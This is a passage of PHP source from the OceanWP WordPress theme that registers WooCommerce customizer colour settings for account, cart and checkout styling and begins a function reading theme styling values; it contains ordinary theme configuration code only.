'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_navigation_icons_color', 'priority' => 10, ) ) ); /** * Navigation Links Color */ $wp_customize->add_setting( 'ocean_account_navigation_links_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_navigation_links_color', array( 'label' => esc_html__( 'Navigation: Links Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_navigation_links_color', 'priority' => 10, ) ) ); /** * Navigation Links Color Hover */ $wp_customize->add_setting( 'ocean_account_navigation_links_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_navigation_links_color_hover', array( 'label' => esc_html__( 'Navigation: Links Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_navigation_links_color_hover', 'priority' => 10, ) ) ); /** * Addresses Box Background */ $wp_customize->add_setting( 'ocean_account_addresses_bg', array( 'default' => '#f6f6f6', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_addresses_bg', array( 'label' => esc_html__( 'Addresses: Box Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_addresses_bg', 'priority' => 10, ) ) ); /** * Addresses Box Title Color */ $wp_customize->add_setting( 'ocean_account_addresses_title_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_addresses_title_color', array( 'label' => esc_html__( 'Addresses: Box Title Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_addresses_title_color', 'priority' => 10, ) ) ); /** * Addresses Box Title Border Bottom Color */ $wp_customize->add_setting( 'ocean_account_addresses_title_border_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_addresses_title_border_color', array( 'label' => esc_html__( 'Addresses: Box Title Border Bottom Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_addresses_title_border_color', 'priority' => 10, ) ) ); /** * Addresses Box Content Color */ $wp_customize->add_setting( 'ocean_account_addresses_content_color', array( 'default' => '#898989', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_addresses_content_color', array( 'label' => esc_html__( 'Addresses: Box Content Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_addresses_content_color', 'priority' => 10, ) ) ); /** * Addresses Box Button Background Color */ $wp_customize->add_setting( 'ocean_account_addresses_button_bg', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_addresses_button_bg', array( 'label' => esc_html__( 'Addresses: Box Button Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_addresses_button_bg', 'priority' => 10, ) ) ); /** * Addresses Box Button Background Color Hover */ $wp_customize->add_setting( 'ocean_account_addresses_button_bg_hover', array( 'default' => '#f8f8f8', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_addresses_button_bg_hover', array( 'label' => esc_html__( 'Addresses: Box Button Background: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_addresses_button_bg_hover', 'priority' => 10, ) ) ); /** * Addresses Box Button Color */ $wp_customize->add_setting( 'ocean_account_addresses_button_color', array( 'default' => '#898989', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_addresses_button_color', array( 'label' => esc_html__( 'Addresses: Box Button color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_addresses_button_color', 'priority' => 10, ) ) ); /** * Addresses Box Button Color Hover */ $wp_customize->add_setting( 'ocean_account_addresses_button_color_hover', array( 'default' => '#555555', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_addresses_button_color_hover', array( 'label' => esc_html__( 'Addresses: Box Button color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_addresses_button_color_hover', 'priority' => 10, ) ) ); /** * Heading Cart */ $wp_customize->add_setting( 'ocean_cart_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_cart_heading', array( 'label' => esc_html__( 'Cart', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Borders Color */ $wp_customize->add_setting( 'ocean_cart_borders_color', array( 'default' => '#e9e9e9', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_cart_borders_color', array( 'label' => esc_html__( 'Borders Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_cart_borders_color', 'priority' => 10, ) ) ); /** * Head Background */ $wp_customize->add_setting( 'ocean_cart_head_bg', array( 'default' => '#f7f7f7', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_cart_head_bg', array( 'label' => esc_html__( 'Head Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_cart_head_bg', 'priority' => 10, ) ) ); /** * Head Titles Color */ $wp_customize->add_setting( 'ocean_cart_head_titles_color', array( 'default' => '#444444', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_cart_head_titles_color', array( 'label' => esc_html__( 'Head Titles Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_cart_head_titles_color', 'priority' => 10, ) ) ); /** * Cart Totals Table Titles Color */ $wp_customize->add_setting( 'ocean_cart_totals_table_titles_color', array( 'default' => '#444444', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_cart_totals_table_titles_color', array( 'label' => esc_html__( 'Cart Totals Table: Titles Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_cart_totals_table_titles_color', 'priority' => 10, ) ) ); /** * Remove Button Color */ $wp_customize->add_setting( 'ocean_cart_remove_button_color', array( 'default' => '#bbbbbb', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_cart_remove_button_color', array( 'label' => esc_html__( 'Remove Button Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_cart_remove_button_color', 'priority' => 10, ) ) ); /** * Remove Button Color Hover */ $wp_customize->add_setting( 'ocean_cart_remove_button_color_hover', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_cart_remove_button_color_hover', array( 'label' => esc_html__( 'Remove Button Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_cart_remove_button_color_hover', 'priority' => 10, ) ) ); /** * Heading Checkout */ $wp_customize->add_setting( 'ocean_checkout_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_checkout_heading', array( 'label' => esc_html__( 'Checkout', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Notices Borders Color */ $wp_customize->add_setting( 'ocean_checkout_notices_borders_color', array( 'default' => '#e9e9e9', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_notices_borders_color', array( 'label' => esc_html__( 'Notices: Borders Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_notices_borders_color', 'priority' => 10, ) ) ); /** * Notices Icon Color */ $wp_customize->add_setting( 'ocean_checkout_notices_icon_color', array( 'default' => '#dddddd', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_notices_icon_color', array( 'label' => esc_html__( 'Notices: Icon Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_notices_icon_color', 'priority' => 10, ) ) ); /** * Notices Color */ $wp_customize->add_setting( 'ocean_checkout_notices_color', array( 'default' => '#777777', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_notices_color', array( 'label' => esc_html__( 'Notices: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_notices_color', 'priority' => 10, ) ) ); /** * Notices Link Color */ $wp_customize->add_setting( 'ocean_checkout_notices_link_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_notices_link_color', array( 'label' => esc_html__( 'Notices: Link Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_notices_link_color', 'priority' => 10, ) ) ); /** * Notices Link Color Hover */ $wp_customize->add_setting( 'ocean_checkout_notices_link_color_hover', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_notices_link_color_hover', array( 'label' => esc_html__( 'Notices: Link Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_notices_link_color_hover', 'priority' => 10, ) ) ); /** * Notices Form Border Color */ $wp_customize->add_setting( 'ocean_checkout_notices_form_border_color', array( 'default' => '#e9e9e9', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_notices_form_border_color', array( 'label' => esc_html__( 'Notices Form: Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_notices_form_border_color', 'priority' => 10, ) ) ); /** * Titles Color */ $wp_customize->add_setting( 'ocean_checkout_titles_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_titles_color', array( 'label' => esc_html__( 'Titles Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_titles_color', 'priority' => 10, ) ) ); /** * Titles Border Bottom Color */ $wp_customize->add_setting( 'ocean_checkout_titles_border_bottom_color', array( 'default' => '#e9e9e9', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_titles_border_bottom_color', array( 'label' => esc_html__( 'Titles Border Bottom Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_titles_border_bottom_color', 'priority' => 10, ) ) ); /** * Table Main Background */ $wp_customize->add_setting( 'ocean_checkout_table_main_bg', array( 'default' => '#f7f7f7', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_table_main_bg', array( 'label' => esc_html__( 'Table Main Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_table_main_bg', 'priority' => 10, ) ) ); /** * Table Titles Color */ $wp_customize->add_setting( 'ocean_checkout_table_titles_color', array( 'default' => '#444444', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_table_titles_color', array( 'label' => esc_html__( 'Table Titles Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_table_titles_color', 'priority' => 10, ) ) ); /** * Table Borders Color */ $wp_customize->add_setting( 'ocean_checkout_table_borders_color', array( 'default' => '#e9e9e9', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_table_borders_color', array( 'label' => esc_html__( 'Table Borders Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_table_borders_color', 'priority' => 10, ) ) ); /** * Payment Methods Background */ $wp_customize->add_setting( 'ocean_checkout_payment_methods_bg', array( 'default' => '#f8f8f8', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_payment_methods_bg', array( 'label' => esc_html__( 'Payment Methods Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_payment_methods_bg', 'priority' => 10, ) ) ); /** * Payment Methods Borders Color */ $wp_customize->add_setting( 'ocean_checkout_payment_methods_borders_color', array( 'default' => '#e9e9e9', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_payment_methods_borders_color', array( 'label' => esc_html__( 'Payment Methods Borders Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_payment_methods_borders_color', 'priority' => 10, ) ) ); /** * Payment Box Background */ $wp_customize->add_setting( 'ocean_checkout_payment_box_bg', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_payment_box_bg', array( 'label' => esc_html__( 'Payment Box Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_payment_box_bg', 'priority' => 10, ) ) ); /** * Payment Box Color */ $wp_customize->add_setting( 'ocean_checkout_payment_box_color', array( 'default' => '#515151', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_checkout_payment_box_color', array( 'label' => esc_html__( 'Payment Box Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_checkout_payment_box_color', 'priority' => 10, ) ) ); } /** * Get CSS * * @since 1.0.0 */ public static function head_css( $output ) { // Global vars $menu_icon_size = get_theme_mod( 'ocean_woo_menu_icon_size' ); $menu_icon_size_tablet = get_theme_mod( 'ocean_woo_menu_icon_size_tablet' ); $menu_icon_size_mobile = get_theme_mod( 'ocean_woo_menu_icon_size_mobile' ); $menu_icon_center_vertically = get_theme_mod( 'ocean_woo_menu_icon_center_vertically' ); $menu_icon_center_vertically_tablet = get_theme_mod( 'ocean_woo_menu_icon_center_vertically_tablet' ); $menu_icon_center_vertically_mobile = get_theme_mod( 'ocean_woo_menu_icon_center_vertically_mobile' ); $cart_dropdown_width = get_theme_mod( 'ocean_woo_cart_dropdown_width', '350' ); $woo_menu_bag_icon_color = get_theme_mod( 'ocean_woo_menu_bag_icon_color', '#333333' ); $woo_menu_bag_icon_hover_color = get_theme_mod( 'ocean_woo_menu_bag_icon_hover_color', '#13aff0' ); $woo_menu_bag_icon_count_color = get_theme_mod( 'ocean_woo_menu_bag_icon_count_color', '#333333' ); $woo_menu_bag_icon_hover_count_color = get_theme_mod( 'ocean_woo_menu_bag_icon_hover_count_color', '#ffffff' ); $cart_dropdown_bg = get_theme_mod( 'ocean_woo_cart_dropdown_bg', '#ffffff' ); $cart_dropdown_borders = get_theme_mod( 'ocean_woo_cart_dropdown_borders', '#e6e6e6' ); $cart_dropdown_link_color = get_theme_mod( 'ocean_woo_cart_dropdown_link_color', '#333333' ); $cart_dropdown_link_color_hover = get_theme_mod( 'ocean_woo_cart_dropdown_link_color_hover', '#13aff0' ); $cart_dropdown_remove_link_color = get_theme_mod( 'ocean_woo_cart_dropdown_remove_link_color', '#b3b3b3' ); $cart_dropdown_remove_link_color_hover = get_theme_mod( 'ocean_woo_cart_dropdown_remove_link_color_hover', '#13aff0' ); $cart_dropdown_quantity_color = get_theme_mod( 'ocean_woo_cart_dropdown_quantity_color', '#b2b2b2' ); $cart_dropdown_price_color = get_theme_mod( 'ocean_woo_cart_dropdown_price_color', '#57bf6d' ); $cart_dropdown_subtotal_bg = get_theme_mod( 'ocean_woo_cart_dropdown_subtotal_bg', '#fafafa' ); $cart_dropdown_subtotal_color = get_theme_mod( 'ocean_woo_cart_dropdown_subtotal_color', '#797979' ); $cart_dropdown_total_price_color = get_theme_mod( 'ocean_woo_cart_dropdown_total_price_color', '#57bf6d' ); $cart_dropdown_cart_button_bg = get_theme_mod( 'ocean_woo_cart_dropdown_cart_button_bg' ); $cart_dropdown_cart_button_hover_bg = get_theme_mod( 'ocean_woo_cart_dropdown_cart_button_hover_bg' ); $cart_dropdown_cart_button_color = get_theme_mod( 'ocean_woo_cart_dropdown_cart_button_color' ); $cart_dropdown_cart_button_hover_color = get_theme_mod( 'ocean_woo_cart_dropdown_cart_button_hover_color' ); $cart_dropdown_cart_button_border_color = get_theme_mod( 'ocean_woo_cart_dropdown_cart_button_border_color' ); $cart_dropdown_cart_button_hover_border_color = get_theme_mod( 'ocean_woo_cart_dropdown_cart_button_hover_border_color' ); $cart_dropdown_checkout_button_bg = get_theme_mod( 'ocean_woo_cart_dropdown_checkout_button_bg' ); $cart_dropdown_checkout_button_hover_bg = get_theme_mod( 'ocean_woo_cart_dropdown_checkout_button_hover_bg' ); $cart_dropdown_checkout_button_color = get_theme_mod( 'ocean_woo_cart_dropdown_checkout_button_color' ); $cart_dropdown_checkout_button_hover_color = get_theme_mod( 'ocean_woo_cart_dropdown_checkout_button_hover_color' ); $cart_dropdown_checkout_button_border_color = get_theme_mod( 'ocean_woo_cart_dropdown_checkout_button_border_color' ); $cart_dropdown_checkout_button_border_hover_color = get_theme_mod( 'ocean_woo_cart_dropdown_checkout_button_border_hover_color' ); $woo_mobile_cart_sidebar_bg = get_theme_mod( 'ocean_woo_mobile_cart_sidebar_bg', '#ffffff' ); $woo_mobile_cart_sidebar_close_button_color = get_theme_mod( 'ocean_woo_mobile_cart_sidebar_close_button_color', '#000000' ); $woo_mobile_cart_sidebar_title_color = get_theme_mod( 'ocean_woo_mobile_cart_sidebar_title_color', '#555555' ); $woo_mobile_cart_sidebar_divider_color = get_theme_mod( 'ocean_woo_mobile_cart_sidebar_divider_color', 'rgba(0,0,0,0.1)' ); // Styling vars $off_canvas_close_button_color = get_theme_mod( 'ocean_woo_off_canvas_close_button_color', '#333333' ); $off_canvas_close_button_hover_color = get_theme_mod( 'ocean_woo_off_canvas_close_button_hover_color', '#777777' ); $infinite_scroll_spinners_color = get_theme_mod( 'ocean_woo_infinite_scroll_spinners_color', '#333333' ); $woo_product_image_width = get_theme_mod( 'ocean_woo_product_image_width', '52' ); $woo_product_summary_width = get_theme_mod( 'ocean_woo_product_summary_width', '44' ); $floating_bar_bg = get_theme_mod( 'ocean_woo_floating_bar_bg', '#2c2c2c' ); $floating_bar_title_color = get_theme_mod( 'ocean_woo_floating_bar_title_color', '#ffffff' ); $floating_bar_price_color = get_theme_mod( 'ocean_woo_floating_bar_price_color', '#ffffff' ); $floating_bar_quantity_buttons_bg = get_theme_mod( 'ocean_woo_floating_bar_quantity_buttons_bg', 'rgba(255,255,255,0.1)' ); $floating_bar_quantity_buttons_hover_bg = get_theme_mod( 'ocean_woo_floating_bar_quantity_buttons_hover_bg', 'rgba(255,255,255,0.2)' ); $floating_bar_quantity_buttons_color = get_theme_mod( 'ocean_woo_floating_bar_quantity_buttons_color', '#ffffff' ); $floating_bar_quantity_buttons_hover_color = get_theme_mod( 'ocean_woo_floating_bar_quantity_buttons_hover_color', '#ffffff' ); $floating_bar_quantity_input_bg = get_theme_mod( 'ocean_woo_floating_bar_quantity_input_bg', 'rgba(255,255,255,0.2)' ); $floating_bar_quantity_input_color = get_theme_mod( 'ocean_woo_floating_bar_quantity_input_color', '#ffffff' ); $floating_bar_addtocart_bg = get_theme_mod( 'ocean_woo_floating_bar_addtocart_bg', '#ffffff' ); $floating_bar_addtocart_hover_bg = get_theme_mod( 'ocean_woo_floating_bar_addtocart_hover_bg', '#f1f1f1' ); $floating_bar_addtocart_color = get_theme_mod( 'ocean_woo_floating_bar_addtocart_color', '#000000' ); $floating_bar_addtocart_hover_color = get_theme_mod( 'ocean_woo_floating_bar_addtocart_hover_color', '#000000' ); $checkout_timeline_bg = get_theme_mod( 'ocean_woo_checkout_timeline_bg', '#eeeeee' ); $checkout_timeline_color = get_theme_mod( 'ocean_woo_checkout_timeline_color', '#333333' ); $checkout_timeline_number_bg = get_theme_mod( 'ocean_woo_checkout_timeline_number_bg', '#ffffff' ); $checkout_timeline_number_color = get_theme_mod( 'ocean_woo_checkout_timeline_number_color', '#cccccc' ); $checkout_timeline_number_border_color = get_theme_mod( 'ocean_woo_checkout_timeline_number_border_color', '#cccccc' ); $checkout_timeline_active_bg = get_theme_mod( 'ocean_woo_checkout_timeline_active_bg', '#13aff0' ); $checkout_timeline_active_color = get_theme_mod( 'ocean_woo_checkout_timeline_active_color', '#ffffff' ); $onsale_bg = get_theme_mod( 'ocean_onsale_bg', '#3FC387' ); $onsale_color = get_theme_mod( 'ocean_onsale_color', '#ffffff' ); $outofstock_bg = get_theme_mod( 'ocean_outofstock_bg', '#000000' ); $outofstock_color = get_theme_mod( 'ocean_outofstock_color', '#ffffff' ); $stars_color_before = get_theme_mod( 'ocean_stars_color_before', '#dfdbdf' ); $stars_color = get_theme_mod( 'ocean_stars_color', '#f9ca63' ); $quantity_border_color = get_theme_mod( 'ocean_quantity_border_color', '#e4e4e4' ); $quantity_border_color_focus = get_theme_mod( 'ocean_quantity_border_color_focus', '#bbbbbb' ); $quantity_color = get_theme_mod( 'ocean_quantity_color', '#777777' ); $quantity_plus_minus_color = get_theme_mod( 'ocean_quantity_plus_minus_color', '#cccccc' ); $quantity_plus_minus_color_hover = get_theme_mod( 'ocean_quantity_plus_minus_color_hover', '#cccccc' ); $quantity_plus_minus_border_color_hover = get_theme_mod( 'ocean_quantity_plus_minus_border_color_hover', '#e0e0e0' ); $toolbar_border_color = get_theme_mod( 'ocean_toolbar_border_color', '#eaeaea' ); $toolbar_off_canvas_filter_color = get_theme_mod( 'ocean_toolbar_off_canvas_filter_color', '#999999' ); $toolbar_off_canvas_filter_border_color = get_theme_mod( 'ocean_toolbar_off_canvas_filter_border_color', '#eaeaea' ); $toolbar_off_canvas_filter_hover_color = get_theme_mod( 'ocean_toolbar_off_canvas_filter_hover_color', '#13aff0' ); $toolbar_off_canvas_filter_hover_border_color = get_theme_mod( 'ocean_toolbar_off_canvas_filter_hover_border_color', '#13aff0' ); $toolbar_grid_list_color = get_theme_mod( 'ocean_toolbar_grid_list_color', '#999999' ); $toolbar_grid_list_border_color = get_theme_mod( 'ocean_toolbar_grid_list_border_color', '#eaeaea' ); $toolbar_grid_list_hover_color = get_theme_mod( 'ocean_toolbar_grid_list_hover_color', '#13aff0' ); $toolbar_grid_list_active_color = get_theme_mod( 'ocean_toolbar_grid_list_active_color', '#13aff0' ); $toolbar_select_color = get_theme_mod( 'ocean_toolbar_select_color', '#999999' ); $toolbar_select_border_color = get_theme_mod( 'ocean_toolbar_select_border_color', '#dddddd' ); $toolbar_number_of_products_color = get_theme_mod( 'ocean_toolbar_number_of_products_color', '#555555' ); $toolbar_number_of_products_inactive_color = get_theme_mod( 'ocean_toolbar_number_of_products_inactive_color', '#999999' ); $toolbar_number_of_products_border_color = get_theme_mod( 'ocean_toolbar_number_of_products_border_color', '#999999' ); $product_top_padding = get_theme_mod( 'ocean_product_top_padding' ); $product_right_padding = get_theme_mod( 'ocean_product_right_padding' ); $product_bottom_padding = get_theme_mod( 'ocean_product_bottom_padding' ); $product_left_padding = get_theme_mod( 'ocean_product_left_padding' ); $tablet_product_top_padding = get_theme_mod( 'ocean_product_tablet_top_padding' ); $tablet_product_right_padding = get_theme_mod( 'ocean_product_tablet_right_padding' ); $tablet_product_bottom_padding = get_theme_mod( 'ocean_product_tablet_bottom_padding' ); $tablet_product_left_padding = get_theme_mod( 'ocean_product_tablet_left_padding' ); $mobile_product_top_padding = get_theme_mod( 'ocean_product_mobile_top_padding' ); $mobile_product_right_padding = get_theme_mod( 'ocean_product_mobile_right_padding' ); $mobile_product_bottom_padding = get_theme_mod( 'ocean_product_mobile_bottom_padding' ); $mobile_product_left_padding = get_theme_mod( 'ocean_product_mobile_left_padding' ); $product_image_top_margin = get_theme_mod( 'ocean_product_image_top_margin' ); $product_image_right_margin = get_theme_mod( 'ocean_product_image_right_margin' ); $product_image_bottom_margin = get_theme_mod( 'ocean_product_image_bottom_margin' ); $product_image_left_margin = get_theme_mod( 'ocean_product_image_left_margin' ); $tablet_product_image_top_margin = get_theme_mod( 'ocean_product_image_tablet_top_margin' ); $tablet_product_image_right_margin = get_theme_mod( 'ocean_product_image_tablet_right_margin' ); $tablet_product_image_bottom_margin = get_theme_mod( 'ocean_product_image_tablet_bottom_margin' ); $tablet_product_image_left_margin = get_theme_mod( 'ocean_product_image_tablet_left_margin' ); $mobile_product_image_top_margin = get_theme_mod( 'ocean_product_image_mobile_top_margin' ); $mobile_product_image_right_margin = get_theme_mod( 'ocean_product_image_mobile_right_margin' ); $mobile_product_image_bottom_margin = get_theme_mod( 'ocean_product_image_mobile_bottom_margin' ); $mobile_product_image_left_margin = get_theme_mod( 'ocean_product_image_mobile_left_margin' ); $product_top_border_width = get_theme_mod( 'ocean_product_top_border_width' ); $product_right_border_width = get_theme_mod( 'ocean_product_right_border_width' ); $product_bottom_border_width = get_theme_mod( 'ocean_product_bottom_border_width' ); $product_left_border_width = get_theme_mod( 'ocean_product_left_border_width' ); $tablet_product_top_border_width = get_theme_mod( 'ocean_product_tablet_top_border_width' ); $tablet_product_right_border_width = get_theme_mod( 'ocean_product_tablet_right_border_width' ); $tablet_product_bottom_border_width = get_theme_mod( 'ocean_product_tablet_bottom_border_width' ); $tablet_product_left_border_width = get_theme_mod( 'ocean_product_tablet_left_border_width' ); $mobile_product_top_border_width = get_theme_mod( 'ocean_product_mobile_top_border_width' ); $mobile_product_right_border_width = get_theme_mod( 'ocean_product_mobile_right_border_width' ); $mobile_product_bottom_border_width = get_theme_mod( 'ocean_product_mobile_bottom_border_width' ); $mobile_product_left_border_width = get_theme_mod( 'ocean_product_mobile_left_border_width' ); $product_top_border_radius = get_theme_mod( 'ocean_product_top_border_radius' ); $product_right_border_radius = get_theme_mod( 'ocean_product_right_border_radius' ); $product_bottom_border_radius = get_theme_mod( 'ocean_product_bottom_border_radius' ); $product_left_border_radius = get_theme_mod( 'ocean_product_left_border_radius' ); $tablet_product_top_border_radius = get_theme_mod( 'ocean_product_tablet_top_border_radius' ); $tablet_product_right_border_radius = get_theme_mod( 'ocean_product_tablet_right_border_radius' ); $tablet_product_bottom_border_radius = get_theme_mod( 'ocean_product_tablet_bottom_border_radius' ); $tablet_product_left_border_radius = get_theme_mod( 'ocean_product_tablet_left_border_radius' ); $mobile_product_top_border_radius = get_theme_mod( 'ocean_product_mobile_top_border_radius' ); $mobile_product_right_border_radius = get_theme_mod( 'ocean_product_mobile_right_border_radius' ); $mobile_product_bottom_border_radius = get_theme_mod( 'ocean_product_mobile_bottom_border_radius' ); $mobile_product_left_border_radius = get_theme_mod( 'ocean_product_mobile_left_border_radius' ); $product_background_color = get_theme_mod( 'ocean_product_background_color' ); $product_border_color = get_theme_mod( 'ocean_product_border_color' ); $category_color = get_theme_mod( 'ocean_category_color', '#999999' ); $category_color_hover = get_theme_mod( 'ocean_category_color_hover', '#13aff0' ); $product_title_color = get_theme_mod( 'ocean_product_title_color', '#333333' ); $product_title_color_hover = get_theme_mod( 'ocean_product_title_color_hover', '#13aff0' ); $product_entry_price_color = get_theme_mod( 'ocean_product_entry_price_color', '#57bf6d' ); $product_entry_del_price_color = get_theme_mod( 'ocean_product_entry_del_price_color', '#666666' ); 